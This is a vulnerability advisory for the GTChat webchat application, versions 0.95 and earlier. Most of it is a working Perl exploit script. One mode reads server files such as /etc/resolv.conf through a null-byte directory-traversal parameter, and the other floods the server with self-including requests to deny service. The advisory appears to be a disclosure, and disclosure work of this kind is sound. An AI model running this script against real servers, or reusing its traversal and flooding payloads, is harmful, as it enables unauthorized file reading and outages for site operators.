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GTChat Remote Denial Of Service And Directory Traversal
------------------------------------------------------------------------
SUMMARY
<http://www.gtchat.de/welcome_en.xhtml> GT-chat is a fast and comfortable
webchat application. Due to use of server push technology and working
without a database like mySQL it uses only little server resources, which
of course won't affect the performance.
A Directory traversal vulnerability exists in GTChat. GTChat is also
vulnerable to denial of service by sending many chat requests sent to the
server.
DETAILS
Vulnerable Systems:
* GTChat versions 0.95 and prior.
Exploit:
#!/usr/bin/perl
use LWP::Simple;
if (@ARGV < 3)
{
print "\nUsage: $0 [server] [path] [mode] [count for DoS]\n";
print "sever - URL chat\n";
print "path - path to chat.pl\n";
print "mode - poc or dos,\n";
print " poc - simple check without DoS and
exit,\n";
print " dos - DoS, you must set count for requests
in 4 argument.\n\n";
exit ();
}
$DoS = "dos";
$POC = "poc";
$server = $ARGV[0];
$path = $ARGV[1];
$mode = $ARGV[2];
$count = $ARGV[3];
print qq(
###################################
# GTChat <= 0.95 Alpha remote
DoS #
# tested on GTChat 0.95 Alpha
#
# (c)oded by x97Rang 2005
RST/GHC #
# Respect: b1f, 1dt.w0lf, ed
#
################################### );
if ($mode eq $POC)
{
print "\n\nTry read file /etc/resolv.conf, maybe remote system
unix...\n";
$URL =
sprintf("http://%s%s/chat.pl?language=../../../../../../../../../../etc/resolv.conf%00
HTTP/1.0\nHost: %s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
$content = get "$URL";
if ($content =~ /(domain|sortlist|options|search|nameserver|dhclient)/)
{ print "File read successfully, remote system is *nix and $server are
VULNERABLE!\n"; exit(); }
if ($content =~ /Fatal error/)
{
print "File read failed, but *Fatal error* returned, $server MAYBE
vulnerable, check all output:\n";
print "=== OUTPUT
===============================================================================\n";
print "\n$content\n";
print
"===============================================================================
OUTPUT ===\n";
exit();
}
else { print "Hmm.. if you arguments right, then $server NOT vulnerable,
go sleep :)\n"; }
}
if ($mode eq $DoS)
{
if (!($count)) { print "\nNeed count for DoS requests, you don't set it,
exit...\n"; exit() }
print "\nSend $count DoS requests to $server...\n";
$URL = sprintf("http://%s%schat.pl?language=chat.pl%00 HTTP/1.0\nHost:
%s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
for ($count_ov = 0; $count_ov != $count; $count_ov++) { $content = get
"$URL"; }
print "Done, packets sended.\n";
}
ADDITIONAL INFORMATION
The information has been provided by x97Rang.
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